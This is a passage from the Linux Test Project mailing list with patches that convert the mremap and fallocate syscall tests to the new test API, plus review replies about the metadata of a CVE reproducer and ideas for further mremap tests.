-	 */
-	addr = mremap(addr, memsize, newsize, MREMAP_MAYMOVE);
+	offsets[0] = 0;
+	offsets[1] = newsize / 2;
+	offsets[2] = newsize - 1;
 
-	/* Check for the return value of mremap() */
-	if (addr == MAP_FAILED)
-		tst_brkm(TFAIL | TERRNO, cleanup, "mremap failed");
+	for (i = 0; i < ARRAY_SIZE(offsets); i++) {
+		size_t off = offsets[i];
 
-	/*
-	 * Attempt to initialize the expanded memory
-	 * mapped region with data. If the map area
-	 * was bad, we'd get SIGSEGV.
-	 */
-	for (ind = 0; ind < newsize; ind++) {
-		addr[ind] = (char)ind;
-	}
+		SAFE_PREAD(1, fildes, &got, 1, (off_t)off);
 
-	/*
-	 * Memory mapped area is good. Now, attempt
-	 * to synchronize the mapped memory region
-	 * with the file.
-	 */
-	if (msync(addr, newsize, MS_SYNC) != 0) {
-		tst_resm(TFAIL | TERRNO, "msync failed to synch "
-			 "mapped file");
-	} else {
-		tst_resm(TPASS, "Functionality of "
-			 "mremap() is correct");
+		if (got != (char)off) {
+			tst_res(TFAIL, "file[%zu] == 0x%02x, expected 0x%02x",
+				off, (unsigned char)got, (unsigned char)off);
+			return 1;
+		}
 	}
 
-	cleanup();
-	tst_exit();
+	return 0;
 }
 
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *
- * Get system page size, Set the size of virtual memory area and the
- * new size after resize,
- * Creat a temporary directory and a file under it.
- * Stratch the file size to the size of virtual memory area and
- * write 1 byte (\0). Map the temporary file for the length of virtual
- * memory (memsize) into memory.
- */
-void setup(void)
+static void run(void)
 {
-	int pagesz;		/* system's page size */
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Get the system page size */
-	if ((pagesz = getpagesize()) < 0) {
-		tst_brkm(TFAIL, NULL,
-			 "getpagesize failed to get system page size");
-	}
+	size_t ind;
 
-	/* Get the size of virtual memory area to be mapped */
-	memsize = (1000 * pagesz);
-
-	/* Get the New size of virtual memory block after resize */
-	newsize = (memsize * 2);
-
-	tst_tmpdir();
+	/*
+	 * Establish a fresh memsize mapping for every iteration so mremap()
+	 * always grows a newly created mapping instead of an already-grown one.
+	 */
+	SAFE_FTRUNCATE(fildes, 0);
+	SAFE_LSEEK(fildes, (off_t)memsize, SEEK_SET);
+	SAFE_WRITE(SAFE_WRITE_ALL, fildes, "\0", 1);
 
-	/* Creat a temporary file used for mapping */
-	if ((fildes = open(TEMPFILE, O_RDWR | O_CREAT, 0666)) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "opening %s failed",
-			 TEMPFILE);
+	addr = SAFE_MMAP(0, memsize, PROT_READ | PROT_WRITE, MAP_SHARED,
+			 fildes, 0);
 
-	/* Stretch the file to the size of virtual memory area */
-	if (lseek(fildes, (off_t) memsize, SEEK_SET) != (off_t) memsize) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "lseeking to %d offset pos. failed", memsize);
-	}
+	SAFE_LSEEK(fildes, (off_t)newsize, SEEK_SET);
+	SAFE_WRITE(SAFE_WRITE_ALL, fildes, "\0", 1);
 
-	/* Write one byte data into temporary file */
-	if (write(fildes, "\0", 1) != 1) {
-		tst_brkm(TBROK, cleanup, "writing to %s failed", TEMPFILE);
-	}
+	TESTPTR(mremap(addr, memsize, newsize, MREMAP_MAYMOVE));
+	addr = TST_RET_PTR;
+	if (addr == MAP_FAILED)
+		tst_brk(TFAIL | TTERRNO, "mremap failed");
 
-	/*
-	 * Call mmap to map virtual memory (memsize bytes) from the
-	 * beginning of temporary file (offset is 0) into memory.
-	 */
-	addr = mmap(0, memsize, PROT_WRITE, MAP_SHARED, fildes, 0);
+	for (ind = 0; ind < newsize; ind++)
+		addr[ind] = (char)ind;
 
-	/* Check for the return value of mmap() */
-	if (addr == (char *)MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmaping Failed on %s", TEMPFILE);
-	}
+	SAFE_MSYNC(addr, newsize, MS_SYNC);
 
-	/* Stretch the file to newsize of virtual memory block */
-	if (lseek(fildes, (off_t) newsize, SEEK_SET) != (off_t) newsize) {
-		tst_brkm(TBROK, cleanup, "lseek() to %d offset pos. Failed, "
-			 "error=%d : %s", newsize, errno, strerror(errno));
-	}
+	if (verify_file())
+		tst_res(TFAIL, "mremap()'d region did not sync to the file");
+	else
+		tst_res(TPASS, "Functionality of mremap() is correct");
 
-	/* Write one byte data into temporary file */
-	if (write(fildes, "\0", 1) != 1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "writing to %s failed",
-			 TEMPFILE);
-	}
+	SAFE_MUNMAP(addr, newsize);
 }
 
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *	       Unmap the mapped memory area done in the test.
- *	       Close the temporary file.
- *	       Remove the temporary directory.
- */
-void cleanup(void)
+static void cleanup(void)
 {
+	if (addr != MAP_FAILED)
+		SAFE_MUNMAP(addr, newsize);
 
-	/* Unmap the mapped memory */
-	if (munmap(addr, newsize) != 0)
-		tst_brkm(TBROK | TERRNO, NULL, "munmap failed");
-
-	/* Close the temporary file */
-	SAFE_CLOSE(NULL, fildes);
-
-	tst_rmdir();
+	if (fildes != -1)
+		SAFE_CLOSE(fildes);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_tmpdir = 1,
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 08:59:11 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 08:59:11 +0200
Subject: [LTP] [PATCH v2 6/6] mremap08: Extract test from mremap05
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v2-6-1760ae8e3b8b@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Extract a new test from mremap05 that verifies the behavior of the
MREMAP_FIXED flag when:

- MREMAP_FIXED | MREMAP_MAYMOVE can move a mapping to a new, free
  address, preserving its content.
- MREMAP_FIXED | MREMAP_MAYMOVE unmaps a previously existing mapping
  at the target address range and replaces it with the moved mapping.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/syscalls                            |   1 +
 testcases/kernel/syscalls/mremap/.gitignore |   1 +
 testcases/kernel/syscalls/mremap/mremap08.c | 128 ++++++++++++++++++++++++++++
 3 files changed, 130 insertions(+)

diff --git a/runtest/syscalls b/runtest/syscalls
index b024d4c43..ede795a48 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -946,6 +946,7 @@ mremap04 mremap04
 mremap05 mremap05
 mremap06 mremap06
 mremap07 mremap07
+mremap08 mremap08
 
 mseal01 mseal01
 mseal02 mseal02
diff --git a/testcases/kernel/syscalls/mremap/.gitignore b/testcases/kernel/syscalls/mremap/.gitignore
index 292899e03..dd4bf4e8e 100644
--- a/testcases/kernel/syscalls/mremap/.gitignore
+++ b/testcases/kernel/syscalls/mremap/.gitignore
@@ -5,3 +5,4 @@
 /mremap05
 /mremap06
 /mremap07
+/mremap08
diff --git a/testcases/kernel/syscalls/mremap/mremap08.c b/testcases/kernel/syscalls/mremap/mremap08.c
new file mode 100644
index 000000000..8d8e82d8b
--- /dev/null
+++ b/testcases/kernel/syscalls/mremap/mremap08.c
@@ -0,0 +1,128 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Verify the behavior of the ``MREMAP_FIXED`` flag of :manpage:`mremap(2)`:
+ *
+ * - ``MREMAP_FIXED | MREMAP_MAYMOVE`` can move a mapping to a new, free
+ *   address, preserving its content.
+ * - ``MREMAP_FIXED | MREMAP_MAYMOVE`` unmaps a previously existing mapping at
+ *   the target address range and replaces it with the moved mapping.
+ */
+
+#define _GNU_SOURCE
+#include <sys/mman.h>
+#include "tst_test.h"
+
+static int pagesize;
+
+static struct tcase {
+	size_t old_pages;
+	size_t new_pages;
+	int flags;
+	int free_dst;
+	const char *msg;
+} tcases[] = {
+	{
+		.old_pages = 1,
+		.new_pages = 1,
+		.flags = MREMAP_FIXED | MREMAP_MAYMOVE,
+		.free_dst = 1,
+		.msg = "move mapping to free address",
+	},
+	{
+		.old_pages = 1,
+		.new_pages = 1,
+		.flags = MREMAP_FIXED | MREMAP_MAYMOVE,
+		.free_dst = 0,
+		.msg = "move mapping onto an occupied address",
+	},
+};
+
+static void *get_test_area(size_t size, int free_area)
+{
+	void *p;
+
+	p = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE,
+		      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+
+	if (free_area)
+		SAFE_MUNMAP(p, size);
+
+	return p;
+}
+
+static void setup(void)
+{
+	pagesize = getpagesize();
+}
+
+static void fill_pattern(char *addr, size_t pages)
+{
+	size_t i;
+
+	for (i = 0; i < pages; i++)
+		addr[i * pagesize] = (char)(0x1 + i);
+}
+
+static int check_pattern(const char *msg, char *addr, size_t pages)
+{
+	size_t i;
+
+	for (i = 0; i < pages; i++) {
+		char got = addr[i * pagesize];
+		char exp = (char)(0x1 + i);
+
+		if (got != exp) {
+			tst_res(TFAIL, "%s: page %zu content 0x%x, expected 0x%x",
+				msg, i, (unsigned char)got, (unsigned char)exp);
+			return 1;
+		}
+	}
+
+	return 0;
+}
+
+static void run(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+	char *old_address;
+	char *new_address;
+	char *ret;
+	size_t old_size = tc->old_pages * pagesize;
+	size_t new_size = tc->new_pages * pagesize;
+
+	old_address = get_test_area(old_size, 0);
+	new_address = get_test_area(new_size, tc->free_dst);
+
+	fill_pattern(old_address, tc->old_pages);
+
+	if (!tc->free_dst)
+		*new_address = 0x7f;
+
+	TESTPTR(mremap(old_address, old_size, new_size, tc->flags, new_address));
+	ret = TST_RET_PTR;
+
+	if (ret == MAP_FAILED) {
+		tst_res(TFAIL | TTERRNO, "%s failed", tc->msg);
+		SAFE_MUNMAP(old_address, old_size);
+		if (!tc->free_dst)
+			SAFE_MUNMAP(new_address, new_size);
+		return;
+	}
+
+	if (ret != new_address)
+		tst_res(TFAIL, "%s: ret %p, expected %p", tc->msg, ret, new_address);
+	else if (check_pattern(tc->msg, ret, tc->new_pages) == 0)
+		tst_res(TPASS, "%s", tc->msg);
+
+	SAFE_MUNMAP(ret, new_size);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 08:59:10 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 08:59:10 +0200
Subject: [LTP] [PATCH v2 5/6] mremap05: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v2-5-1760ae8e3b8b@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the mremap05 test case from the legacy LTP API to the new
tst_test API.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/mremap/mremap05.c | 278 ++++++++--------------------
 1 file changed, 75 insertions(+), 203 deletions(-)

diff --git a/testcases/kernel/syscalls/mremap/mremap05.c b/testcases/kernel/syscalls/mremap/mremap05.c
index 971cc8e5e..4e906a044 100644
--- a/testcases/kernel/syscalls/mremap/mremap05.c
+++ b/testcases/kernel/syscalls/mremap/mremap05.c
@@ -1,239 +1,111 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (C) 2012 Linux Test Project, Inc.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of version 2 of the GNU General Public
- * License as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it
- * is free of the rightful claim of any third person regarding
- * infringement or the like.  Any license provided herein, whether
- * implied or otherwise, applies only to this software file.  Patent
- * licenses, if any, provided herein do not apply to combinations of
- * this program with other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
+ * Copyright (c) 2026 Linux Test Project
  */
-/*
- * Test Name: mremap05
+
+/*\
+ * Verify the behavior of the ``MREMAP_FIXED`` flag of :manpage:`mremap(2)`
+ * when invalid arguments are provided:
  *
- * Test Description:
- *  Verify that MREMAP_FIXED fails without MREMAP_MAYMOVE.
- *  Verify that MREMAP_FIXED|MREMAP_MAYMOVE fails if target address
- *    is not page aligned.
- *  Verify that MREMAP_FIXED|MREMAP_MAYMOVE fails if old range
- *    overlaps with new range.
- *  Verify that MREMAP_FIXED|MREMAP_MAYMOVE can move mapping to new address.
- *  Verify that MREMAP_FIXED|MREMAP_MAYMOVE unmaps previous mapping
- *    at the address range specified by new_address and new_size.
+ * - ``MREMAP_FIXED`` fails with ``EINVAL`` without ``MREMAP_MAYMOVE``.
+ * - ``MREMAP_FIXED | MREMAP_MAYMOVE`` fails with ``EINVAL`` if the target
+ *   address is not page aligned.
+ * - ``MREMAP_FIXED | MREMAP_MAYMOVE`` fails with ``EINVAL`` if the old range
+ *   overlaps with the new range.
  */
 
 #define _GNU_SOURCE
-#include "config.h"
 #include <sys/mman.h>
-#include <errno.h>
-#include <unistd.h>
-#include "test.h"
-#include "tso_safe_macros.h"
+#include "tst_test.h"
 
-char *TCID = "mremap05";
+static int pagesize;
 
-struct test_case_t {
-	char *old_address;
-	char *new_address;
-	size_t old_size;	/* in pages */
-	size_t new_size;	/* in pages */
+static struct tcase {
+	size_t old_pages;
+	size_t new_pages;
 	int flags;
-	const char *msg;
-	void *exp_ret;
+	int align_offset;
+	int overlap;
+	int free_dst;
 	int exp_errno;
-	char *ret;
-	void (*setup) (struct test_case_t *);
-	void (*cleanup) (struct test_case_t *);
-};
-
-static void setup(void);
-static void cleanup(void);
-static void setup0(struct test_case_t *);
-static void setup1(struct test_case_t *);
-static void setup2(struct test_case_t *);
-static void setup3(struct test_case_t *);
-static void setup4(struct test_case_t *);
-static void cleanup0(struct test_case_t *);
-static void cleanup1(struct test_case_t *);
-
-struct test_case_t tdat[] = {
-	{
-	 .old_size = 1,
-	 .new_size = 1,
-	 .flags = MREMAP_FIXED,
-	 .msg = "MREMAP_FIXED requires MREMAP_MAYMOVE",
-	 .exp_ret = MAP_FAILED,
-	 .exp_errno = EINVAL,
-	 .setup = setup0,
-	 .cleanup = cleanup0},
-	{
-	 .old_size = 1,
-	 .new_size = 1,
-	 .flags = MREMAP_FIXED | MREMAP_MAYMOVE,
-	 .msg = "new_addr has to be page aligned",
-	 .exp_ret = MAP_FAILED,
-	 .exp_errno = EINVAL,
-	 .setup = setup1,
-	 .cleanup = cleanup0},
+	const char *msg;
+} tcases[] = {
 	{
-	 .old_size = 2,
-	 .new_size = 1,
-	 .flags = MREMAP_FIXED | MREMAP_MAYMOVE,
-	 .msg = "old/new area must not overlap",
-	 .exp_ret = MAP_FAILED,
-	 .exp_errno = EINVAL,
-	 .setup = setup2,
-	 .cleanup = cleanup0},
+		.old_pages = 1,
+		.new_pages = 1,
+		.flags = MREMAP_FIXED,
+		.free_dst = 1,
+		.exp_errno = EINVAL,
+		.msg = "MREMAP_FIXED requires MREMAP_MAYMOVE",
+	},
 	{
-	 .old_size = 1,
-	 .new_size = 1,
-	 .flags = MREMAP_FIXED | MREMAP_MAYMOVE,
-	 .msg = "mremap #1",
-	 .setup = setup3,
-	 .cleanup = cleanup0},
+		.old_pages = 1,
+		.new_pages = 1,
+		.flags = MREMAP_FIXED | MREMAP_MAYMOVE,
+		.align_offset = 1,
+		.exp_errno = EINVAL,
+		.msg = "new_addr has to be page aligned",
+	},
 	{
-	 .old_size = 1,
-	 .new_size = 1,
-	 .flags = MREMAP_FIXED | MREMAP_MAYMOVE,
-	 .msg = "mremap #2",
-	 .setup = setup4,
-	 .cleanup = cleanup1},
+		.old_pages = 2,
+		.new_pages = 1,
+		.flags = MREMAP_FIXED | MREMAP_MAYMOVE,
+		.overlap = 1,
+		.exp_errno = EINVAL,
+		.msg = "old/new area must not overlap",
+	},
 };
 
-static int pagesize;
-static int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-static void free_test_area(void *p, int size)
-{
-	SAFE_MUNMAP(cleanup, p, size);
-}
-
-static void *get_test_area(int size, int free_area)
+static void *get_test_area(size_t size, int free_area)
 {
 	void *p;
-	p = mmap(NULL, size, PROT_READ | PROT_WRITE,
-		 MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
-	if (p == MAP_FAILED)
-		tst_brkm(TBROK | TERRNO, cleanup, "get_test_area mmap");
-	if (free_area)
-		free_test_area(p, size);
-	return p;
-}
 
-static void test_mremap(struct test_case_t *t)
-{
-	t->ret = mremap(t->old_address, t->old_size, t->new_size, t->flags,
-			t->new_address);
+	p = SAFE_MMAP(NULL, size, PROT_READ | PROT_WRITE,
+		      MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
 
-	if (t->ret == t->exp_ret) {
-		if (t->ret != MAP_FAILED) {
-			tst_resm(TPASS, "%s", t->msg);
-			if (*(t->ret) == 0x1)
-				tst_resm(TPASS, "%s value OK", t->msg);
-			else
-				tst_resm(TPASS, "%s value failed", t->msg);
-		} else {
-			if (errno == t->exp_errno)
-				tst_resm(TPASS, "%s", t->msg);
-			else
-				tst_resm(TFAIL | TERRNO, "%s", t->msg);
-		}
-	} else {
-		tst_resm(TFAIL, "%s ret: %p, expected: %p", t->msg,
-			 t->ret, t->exp_ret);
-	}
-}
-
-static void setup0(struct test_case_t *t)
-{
-	t->old_address = get_test_area(t->old_size * pagesize, 0);
-	t->new_address = get_test_area(t->new_size * pagesize, 1);
-}
-
-static void setup1(struct test_case_t *t)
-{
-	t->old_address = get_test_area(t->old_size * pagesize, 0);
-	t->new_address = get_test_area((t->new_size + 1) * pagesize, 1) + 1;
-}
+	if (free_area)
+		SAFE_MUNMAP(p, size);
 
-static void setup2(struct test_case_t *t)
-{
-	t->old_address = get_test_area(t->old_size * pagesize, 0);
-	t->new_address = t->old_address;
+	return p;
 }
 
-static void setup3(struct test_case_t *t)
+static void setup(void)
 {
-	t->old_address = get_test_area(t->old_size * pagesize, 0);
-	t->new_address = get_test_area(t->new_size * pagesize, 1);
-	t->exp_ret = t->new_address;
-	*(t->old_address) = 0x1;
+	pagesize = getpagesize();
 }
 
-static void setup4(struct test_case_t *t)
+static void run(unsigned int n)
 {
-	t->old_address = get_test_area(t->old_size * pagesize, 0);
-	t->new_address = get_test_area(t->new_size * pagesize, 0);
-	t->exp_ret = t->new_address;
-	*(t->old_address) = 0x1;
-	*(t->new_address) = 0x2;
-}
+	struct tcase *tc = &tcases[n];
+	char *old_address;
+	char *new_address;
+	size_t old_size = tc->old_pages * pagesize;
+	size_t new_size = tc->new_pages * pagesize;
 
-static void cleanup0(struct test_case_t *t)
-{
-	if (t->ret == MAP_FAILED)
-		free_test_area(t->old_address, t->old_size * pagesize);
-	else
-		free_test_area(t->ret, t->new_size * pagesize);
-}
+	old_address = get_test_area(old_size, 0);
 
-static void cleanup1(struct test_case_t *t)
-{
-	if (t->ret == MAP_FAILED) {
-		free_test_area(t->old_address, t->old_size * pagesize);
-		free_test_area(t->new_address, t->new_size * pagesize);
+	if (tc->overlap) {
+		new_address = old_address;
+	} else if (tc->align_offset) {
+		new_address = get_test_area(new_size + pagesize, 1) +
+			tc->align_offset;
 	} else {
-		free_test_area(t->ret, t->new_size * pagesize);
+		new_address = get_test_area(new_size, tc->free_dst);
 	}
-}
-
-int main(int ac, char **av)
-{
-	int lc, testno;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-		for (testno = 0; testno < TST_TOTAL; testno++) {
-			tdat[testno].setup(&tdat[testno]);
-			test_mremap(&tdat[testno]);
-			tdat[testno].cleanup(&tdat[testno]);
-		}
-	}
-	cleanup();
-	tst_exit();
-}
+	TST_EXP_FAIL_PTR_VOID(mremap(old_address, old_size, new_size,
+				     tc->flags, new_address),
+			      tc->exp_errno, "%s", tc->msg);
 
-static void setup(void)
-{
-	pagesize = getpagesize();
+	if (TST_RET_PTR == MAP_FAILED)
+		SAFE_MUNMAP(old_address, old_size);
+	else
+		SAFE_MUNMAP(TST_RET_PTR, new_size);
 }
 
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = run,
+	.tcnt = ARRAY_SIZE(tcases),
+};

-- 
2.51.0


From pvorel@suse.de  Fri Aug  7 09:35:05 2026
From: pvorel@suse.de (pvorel)
Date: Fri, 07 Aug 2026 09:35:05 +0200
Subject: [LTP] [PATCH v6] cve: reproducer for cve-2026-64600
In-Reply-To: <20260806-cve-2026-64600-v6-1-26c11513c75a@suse.com>
References: <20260806-cve-2026-64600-v6-1-26c11513c75a@suse.com>
Message-ID: <a1d939127b54c51fd29f869b0fe1706f@suse.de>

Hi Andrea,

...
> +static struct tst_test test = {
> +	.test_all = run,
> +	.setup = setup,
> +	.cleanup = cleanup,
> +	.runtime = 180,
> +	.needs_root = 1,
> +	.mount_device = 1,
> +	.mntpoint = MNTPOINT,
> +	.filesystems = (struct tst_fs []) {
> +		{
> +			.type = "xfs",
> +			.min_kver = "4.16",
It got introduced in 4.11. Is there a reason for testing from 4.16?
Or is it just the copy paste error?

Other than that LGTM.
Reviewed-by: Petr Vorel <pvorel@suse.cz>

> +			.mkfs_ver = "mkfs.xfs >= 1.5.0",
> +			.mkfs_opts = (const char *const []) {
> +				"-m", "reflink=1",
> +				NULL
> +			},
> +		},
> +		{}
> +	},
> +	.tags = (const struct tst_tag[]) {
> +		{"linux-git", "2f4acd0fcd86"},
Can you please before merge use longer hash
"2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7"?

> +		{"CVE", "2026-64600"},
> +		{}
> +	},
> +};

From andrea.cervesato@suse.com  Fri Aug  7 09:51:20 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Fri, 07 Aug 2026 07:51:20 +0000
Subject: [LTP] [PATCH v6] cve: reproducer for cve-2026-64600
In-Reply-To: <a1d939127b54c51fd29f869b0fe1706f@suse.de>
Message-ID: <6a758e79.5fb1dcdd.355f96.e2e4@mx.google.com>

Hi Petr,

> > +			.min_kver = "4.16",
> It got introduced in 4.11. Is there a reason for testing from 4.16?
> Or is it just the copy paste error?

1e369b0e199bb ("xfs: remove experimental tag for reflinks") was merged
in 4.16

> 
> Other than that LGTM.
> Reviewed-by: Petr Vorel <pvorel@suse.cz>
> 
> > +			.mkfs_ver = "mkfs.xfs >= 1.5.0",
> > +			.mkfs_opts = (const char *const []) {
> > +				"-m", "reflink=1",
> > +				NULL
> > +			},
> > +		},
> > +		{}
> > +	},
> > +	.tags = (const struct tst_tag[]) {
> > +		{"linux-git", "2f4acd0fcd86"},
> Can you please before merge use longer hash
> "2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7"?

I thought as a rule we always have to use short hash, we never use
longer one, besides a couple of tests. Is there a reason for it?

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From chrubis@suse.cz  Fri Aug  7 09:59:53 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Fri, 7 Aug 2026 09:59:53 +0200
Subject: [LTP] [PATCH 4/5] mremap04: Convert to new API
In-Reply-To: <6a7579d4.5dfca4bd.124bf4.ac84@mx.google.com>
References: <anSMBJKH8bjhJcs5@rei>
 <6a7579d4.5dfca4bd.124bf4.ac84@mx.google.com>
Message-ID: <anWQedSd9MwlSymD@yuki.lan>

Hi!
> > > +	 * Pass old_size of one page while the segment is two pages: the
> > > +	 * mismatch is intentional and must be preserved.
> > >  	 */
> > 
> > Wouldn't this be enough for the mremap() to fail even with regular
> > mmap()? I do not see what the test needs the sysv shm for.
> 
> actually yes, but I think the original idea was to mix SysV with mremap()
> syscall.

I would keep this test simple.

And we can add another test with a gap as well. If we map 3 pages, then
unmap page in the middle we will get:

| page 0 | hole | page 2 |

Now remap without MAYMOVE on page0 that spans into page2 will fail too.

> > Also the interaction between SysV shm and mremap() seems to be more
> > complicated and may warrant more tests.
> 
> mmmh, any idea?

Looking stack overflow mremap() should be strictly local to the process.
That means that that SysV mapping or MAP_SHARED mappings shouldn't
change the mapping length in other processes sharing the mapping.
Strangely there does not seem to be much documentation for this. So it's
a corner case worth exploring (raised more than 10 years ago
https://lwn.net/Articles/591985/).

Also while reading the manual I found another possible test for mremap()
+ userfaultfd(). You should get a fault event for expanded mappings if
you access the expanded region.

-- 
Cyril Hrubis
chrubis@suse.cz

From chrubis@suse.cz  Fri Aug  7 10:06:47 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Fri, 7 Aug 2026 10:06:47 +0200
Subject: [LTP] [PATCH v2 4/6] mremap04: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v2-4-1760ae8e3b8b@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com>
 <20260807-rewrite_mremap_testing_suite-v2-4-1760ae8e3b8b@suse.com>
Message-ID: <anWSF2YPBwAXNisF@yuki.lan>

Hi!
> diff --git a/testcases/kernel/syscalls/mremap/Makefile b/testcases/kernel/syscalls/mremap/Makefile
> index 8811b887e..4c8990ea8 100644
> --- a/testcases/kernel/syscalls/mremap/Makefile
> +++ b/testcases/kernel/syscalls/mremap/Makefile
> @@ -3,11 +3,11 @@
>  
>  top_srcdir		?= ../../../..
>  
> -LTPLIBS = ipc
> +LTPLIBS = newipc
>  
>  include $(top_srcdir)/include/mk/testcases.mk
>  
> -mremap04: LTPLDLIBS  = -lltpipc
> +mremap04: LTPLDLIBS  = -lltpnewipc
>  mremap07: LDLIBS  += -lpthread

The ipc linking is no longer needed, right?

Otherwise:

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>

-- 
Cyril Hrubis
chrubis@suse.cz

From andrea.cervesato@suse.de  Fri Aug  7 10:15:34 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 10:15:34 +0200
Subject: [LTP] [PATCH v2 0/2] Convert fallocate testing suite
Message-ID: <20260807-convert_fallocate_suite-v2-0-3761f7b74b1f@suse.com>

Testing a new multi-agent converter that does a deep analysis on the
code, evaluate if it needs to be converted line by line or it only needs
a complete rewrite, then it spawn an agent for writing the test, one for
reviewing and it iterates until test is out of issues.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v2:
- fix fname size
- simplify commit messages
- Link to v1: https://lore.kernel.org/20260720-convert_fallocate_suite-v1-0-50ae85c56c03@suse.com

---
Andrea Cervesato (2):
      fallocate01: Convert to new API
      fallocate02: Convert to new API

 testcases/kernel/syscalls/fallocate/fallocate01.c | 337 ++++++----------------
 testcases/kernel/syscalls/fallocate/fallocate02.c | 193 ++++---------
 2 files changed, 157 insertions(+), 373 deletions(-)
---
base-commit: 12fcadf63a99fc4bec76f9b4715cda626256562f
change-id: 20260720-convert_fallocate_suite-820312fbf352

Best regards,
--  
Andrea Cervesato <andrea.cervesato@suse.com>


From andrea.cervesato@suse.de  Fri Aug  7 10:15:35 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 10:15:35 +0200
Subject: [LTP] [PATCH v2 1/2] fallocate01: Convert to new API
In-Reply-To: <20260807-convert_fallocate_suite-v2-0-3761f7b74b1f@suse.com>
References: <20260807-convert_fallocate_suite-v2-0-3761f7b74b1f@suse.com>
Message-ID: <20260807-convert_fallocate_suite-v2-1-3761f7b74b1f@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the fallocate01 test case from the legacy LTP API (test.h) to the
new tst_test API using a table-driven struct tcase[] and TST_EXP_* macros.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/fallocate/fallocate01.c | 337 ++++++----------------
 1 file changed, 96 insertions(+), 241 deletions(-)

diff --git a/testcases/kernel/syscalls/fallocate/fallocate01.c b/testcases/kernel/syscalls/fallocate/fallocate01.c
index d21936eba..178586ba0 100644
--- a/testcases/kernel/syscalls/fallocate/fallocate01.c
+++ b/testcases/kernel/syscalls/fallocate/fallocate01.c
@@ -1,274 +1,129 @@
-/******************************************************************************
- *				 fallocate01.c
- *	Mon Dec 24 2007
- *	Copyright (c) International Business Machines  Corp., 2007
- *	Emali : sharyathi@in.ibm.com
- ******************************************************************************/
-
-/***************************************************************************
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU Library General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-***************************************************************************/
-
-/*****************************************************************************
- *
- *	OS Test - International Business Machines Corp. 2007.
- *
- *	TEST IDENTIFIER	: fallocate01
- *
- *	EXECUTED BY		: anyone
- *
